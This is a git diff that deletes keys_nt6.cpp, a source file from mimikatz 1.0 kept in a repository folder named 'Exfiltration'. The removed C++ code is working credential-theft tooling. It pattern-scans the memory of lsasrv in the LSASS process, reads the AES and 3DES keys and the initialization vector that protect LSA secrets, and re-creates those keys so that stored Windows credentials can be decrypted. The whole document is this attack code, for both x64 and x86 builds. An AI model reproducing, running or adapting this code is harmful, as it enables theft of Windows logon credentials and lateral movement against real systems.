diff options
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp')
| -rw-r--r-- | Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp | 186 |
1 files changed, 0 insertions, 186 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp deleted file mode 100644 index ac642ef..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp +++ /dev/null @@ -1,186 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "keys_nt6.h" -#include "..\..\global.h" -HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; -PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; -mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; -BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; - -BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; - -#ifdef _M_X64 -BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; -LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; -LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; -LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; - -BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; -LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; -LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; -#elif defined _M_IX86 -BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; -LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); -LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); -LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); - -BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; -LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); -LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); -LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); -#endif - -bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() -{ - if(!hBCrypt) - hBCrypt = LoadLibrary(L"bcrypt"); - - PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; - ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; - LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; - SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); - OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; - } - else - { - OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; - } -#elif defined _M_IX86 - OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; -#endif - } - else - { - PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; - SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); - OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; - OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; - } - - PBYTE ptrBase = NULL; - DWORD mesSucces = 0; - if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) - { -#ifdef _M_X64 - LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; - PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector)); - hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey)); - h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey)); - hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); - h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); -#elif defined _M_IX86 - PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector); - hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey); - h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey); - hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); - h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); -#endif - if(hBCrypt && LsaInitializeProtectedMemory()) - { - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - - KIWI_BCRYPT_KEY maCle; - KIWI_BCRYPT_KEY_DATA maCleData; - - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;) - mesSucces++; - - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - } - else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; - } - else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; - - return (mesSucces == 3); -} - - -bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() -{ - if(hBCrypt) - { - LsaCleanupProtectedMemory(); - FreeLibrary(hBCrypt); - } - return true; -} - -bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() -{ - bool resultat = false; - - PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); - PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty")); - PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty")); - PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); - - if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && - NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) - { - if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && - NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) - { - DWORD DES3KeyLen, AESKeyLen, cbLen; - - if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && - NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) - { - DES3Key = new BYTE[DES3KeyLen]; - AESKey = new BYTE[AESKeyLen]; - - resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && - NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); - } - } - } - return resultat; -} - -bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() -{ - PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey")); - PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); - - if (h3DesKey ) - K_BCryptDestroyKey(*h3DesKey); - if (hAesKey ) - K_BCryptDestroyKey(*hAesKey); - - if (h3DesProvider) - K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); - if (hAesProvider ) - K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); - - if(DES3Key) - delete[] DES3Key; - if(AESKey) - delete[] AESKey; - - return true; -}
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